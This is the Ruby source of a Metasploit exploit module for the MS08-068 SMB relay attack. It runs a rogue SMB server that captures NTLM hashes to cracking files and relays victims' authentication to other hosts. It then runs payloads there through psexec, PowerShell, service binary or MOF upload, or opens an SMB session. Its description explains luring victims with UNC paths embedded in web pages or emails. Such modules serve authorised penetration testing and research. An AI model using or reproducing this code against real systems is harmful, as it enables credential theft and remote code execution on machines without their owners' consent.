## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## =begin Windows XP systems that are not part of a domain default to treating all network logons as if they were Guest. This prevents SMB relay attacks from gaining administrative access to these systems. This setting can be found under: Local Security Settings > Local Policies > Security Options > Network Access: Sharing and security model for local accounts =end class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include ::Msf::Exploit::Remote::SocketServer include ::Msf::Exploit::Remote::SMB::Server::HashCapture include ::Msf::Exploit::Remote::SMB::Client::Psexec include ::Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Module::HasActions include Msf::Auxiliary::CommandShell def initialize(info = {}) super( update_info( info, 'Name' => 'MS08-068 Microsoft Windows SMB Relay Code Execution', 'Description' => %q{ This module will relay SMB authentication requests to another host, gaining access to an authenticated SMB session if successful. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. To exploit this, the target system must try to authenticate to this module. The easiest way to force a SMB authentication attempt is by embedding a UNC path (\SERVER\SHARE) into a web page or email message. When the victim views the web page or email, their system will automatically connect to the server specified in the UNC share (the IP address of the system running this module) and attempt to authenticate. Unfortunately, this module is not able to clean up after itself. The service and payload file listed in the output will need to be manually removed after access has been gained. The service created by this tool uses a randomly chosen name and description, so the services list can become cluttered after repeated exploitation. The SMB authentication relay attack was first reported by Sir Dystic on March 31st, 2001 at @lanta.con in Atlanta, Georgia. On November 11th 2008 Microsoft released bulletin MS08-068. This bulletin includes a patch which prevents the relaying of challenge keys back to the host which issued them, preventing this exploit from working in the default configuration. It is still possible to set the SMBHOST parameter to a third-party host that the victim is authorized to access, but the "reflection" attack has been effectively broken. As of Feb 2022 - this module does not support SMB 1. }, 'Author' => [ 'hdm', # Original SMB v1 relay module 'juan vazquez', # Original SMB v1 relay module - Add NTLMSSP support 'agalway-r7', # Add SMB 2/3 support 'alanfoster', # Add SMB 2/3 support 'Spencer McIntyre' # Add SMB 2/3 support ], 'License' => MSF_LICENSE, 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'StackAdjustment' => -3500 }, 'References' => [ ['CVE', '2008-4037'], ['OSVDB', '49736'], ['MSB', 'MS08-068'], ['URL', 'http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx'], ['URL', 'https://en.wikipedia.org/wiki/SMBRelay'], ['URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx'] ], 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ], [ 'Command', { 'Arch' => [ARCH_CMD] } ] ], 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ACCOUNT_LOCKOUTS ] }, 'DisclosureDate' => '2001-03-31', 'DefaultTarget' => 0, 'Actions' => available_actions, 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultAction' => 'PSEXEC' ) ) register_options( [ OptString.new('SMBSHARE', [false, 'The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share', ''], aliases: ['SHARE']), OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']), OptAddress.new('SRVHOST', [ true, 'The local host to listen on.', '0.0.0.0' ]), OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]), OptString.new('CAINPWFILE', [false, 'Name of file to store Cain&Abel hashes in. Only supports NTLMv1 hashes. Can be a path.', nil]), OptString.new('JOHNPWFILE', [false, 'Name of file to store JohnTheRipper hashes in. Supports NTLMv1 and NTLMv2 hashes, each of which is stored in separate files. Can also be a path.', nil]), OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']), OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]), OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25]) ] ) register_advanced_options( [ OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]), OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']), OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil]) ] ) deregister_options( 'RPORT', 'RHOSTS', 'SMBPass', 'SMBUser', 'CommandShellCleanupCommand', 'AutoVerifySession' ) if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) add_info('New in Metasploit 6.4 - The %grnCREATE_SMB_SESSION%clr action within this module can open an interactive session') end end def available_actions actions = [ ['PSEXEC', { 'Description' => 'Use the SMB Connection to run the exploit/windows/psexec module against the relay target' }] ] if framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE) actions << ['CREATE_SMB_SESSION', { 'Description' => 'Do not close the SMB connection after relaying, and instead create an SMB session' }] end actions end def smb_logger log_device = datastore['VERBOSE'] ? Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self) : Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework) Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device) end class SMBRelayServer include ::Rex::Proto def initialize(options) @options = options end def alias super || 'SMB Relay Server' end # # Returns the hardcore alias for the SMB service # def self.hardcore_alias(*args) sock_options = sock_options_for(*args) "#{sock_options['LocalHost']}#{sock_options['LocalPort']}" end def start @listener_sock = Rex::Socket::TcpServer.create(sock_options) @listener_server = Msf::Exploit::Remote::SMB::Relay::NTLM::Server.new(**smb_server_options(@listener_sock)) @listener_thread = Rex::ThreadFactory.spawn('SMBRelayServerListener', false) do @listener_server.run rescue StandardError => e elog(e) end end def stop begin @listener_server.close if @server && !@server.closed? @listener_thread.kill if @listener_thread rescue StandardError => e print_error('Failed closing SMB server') elog('Failed closing SMB server', error: e) end begin @listener_sock.close if @listener_sock && !@listener_sock.closed? rescue StandardError => e print_error('Failed closing SMB server socket') elog('Failed closing SMB server socket', error: e) end end # # This method waits on the server listener thread # def wait @listener_thread.join if listener_thread end attr_accessor :listener_sock, :listener_thread def self.sock_options_for(options) { 'LocalHost' => '0.0.0.0', 'LocalPort' => 445 }.merge(options[:socket]) end private def sock_options self.class.sock_options_for(@options) end def smb_server_options(listener_sock) { server_sock: listener_sock }.merge(@options[:smb_server]) end end def start_service(_opts = {}) ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new( default_domain: datastore['SMBDomain'] ) # Set domain name for all future server responses ntlm_provider.dns_domain = datastore['SMBDomain'] ntlm_provider.dns_hostname = datastore['SMBDomain'] ntlm_provider.netbios_domain = datastore['SMBDomain'] ntlm_provider.netbios_hostname = datastore['SMBDomain'] validate_smb_hash_capture_datastore(datastore, ntlm_provider) comm = _determine_server_comm(datastore['SRVHOST']) print_status("SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") @service = Rex::ServiceManager.start( self.class::SMBRelayServer, { socket: { 'Comm' => comm, 'LocalHost' => datastore['SRVHOST'], 'LocalPort' => datastore['SRVPORT'], 'Server' => true, 'Timeout' => datastore['SRV_TIMEOUT'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }, smb_server: { gss_provider: ntlm_provider, logger: smb_logger, relay_targets: Msf::Exploit::Remote::SMB::Relay::TargetList.new(datastore['RELAY_TARGETS'], randomize_targets: datastore['RANDOMIZE_TARGETS']), listener: self, relay_timeout: datastore['RELAY_TIMEOUT'], thread_manager: framework.threads } } ) end def validate_service_stub_encoder! service_encoder = datastore['SERVICE_STUB_ENCODER'] return if service_encoder.nil? || service_encoder.empty? encoder = framework.encoders[service_encoder] if encoder.nil? raise Msf::OptionValidateError.new( { 'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}" } ) end end def exploit if datastore['RHOSTS'].present? print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.') end case action.name when 'PSEXEC' validate_service_stub_encoder! end super end def on_relay_success(relay_connection:) case action.name when 'PSEXEC' run_psexec(relay_connection) when 'CREATE_SMB_SESSION' begin session_setup(relay_connection) rescue StandardError => e elog('Failed to setup the session', error: e) end end end def run_psexec(relay_connection) # The psexec mixins assume a single smb client instance is available, which makes it impossible # to use when there are multiple SMB requests occurring in parallel. Let's create a replicant module, # and set the datastore options and simple smb instance new_mod_instance = replicant new_mod_instance.datastore['RHOST'] = relay_connection.target.ip new_mod_instance.datastore['RPORT'] = relay_connection.target.port # The new module no longer needs a reference to the original smb server, deref it explicitly: new_mod_instance.service.deref new_mod_instance.service = nil # Wrap the ruby_smb connection in a rex-compatible adapter new_mod_instance.simple = ::Rex::Proto::SMB::SimpleClient.new(relay_connection.dispatcher.tcp_socket, client: relay_connection) thread_name = "Module(#{refname})(target=#{relay_connection.target.ip}:#{relay_connection.target.port})" framework.threads.spawn(thread_name, false, new_mod_instance) do |mod_instance| mod_instance.exploit_smb_target rescue StandardError => e print_error("Failed running psexec against target #{datastore['RHOST']} - #{e.class} #{e.message}") elog(e) # ensure # # Note: Don't cleanup explicitly, as the shared replicant state leads to payload handlers etc getting closed. # # The parent module will clean these shared resources # mod_instance.cleanup end end def on_relay_failure(relay_connection:) # noop end # Called after a successful connection to a relayed host is opened def exploit_smb_target # automatically select an SMB share unless one is explicitly specified if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank? smbshare = datastore['SMBSHARE'] elsif target.name == 'Command' smbshare = 'C$' else smbshare = 'ADMIN$' end service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe" service_encoder = datastore['SERVICE_STUB_ENCODER'] || '' vprint_status 'Running psexec' case target.name when 'Automatic' if powershell_installed?(smbshare, datastore['PSH_PATH']) print_status('Selecting PowerShell target') execute_powershell_payload else print_status('Selecting native target') native_upload(smbshare, service_filename, service_encoder) end when 'PowerShell' execute_powershell_payload when 'Native upload' native_upload(smbshare, service_filename, service_encoder) when 'MOF upload' mof_upload(smbshare) when 'Command' execute_command_payload(smbshare) end handler disconnect end # @param [RubySMB::Client] client def session_setup(client) return unless client platform = 'windows' # Create a new session rstream = client.dispatcher.tcp_socket sess = Msf::Sessions::SMB.new( rstream, { client: client } ) ds = { 'RHOST' => client.target.ip, 'RPORT' => client.target.port } s = start_session(self, nil, ds, false, sess.rstream, sess) s.platform = platform s end end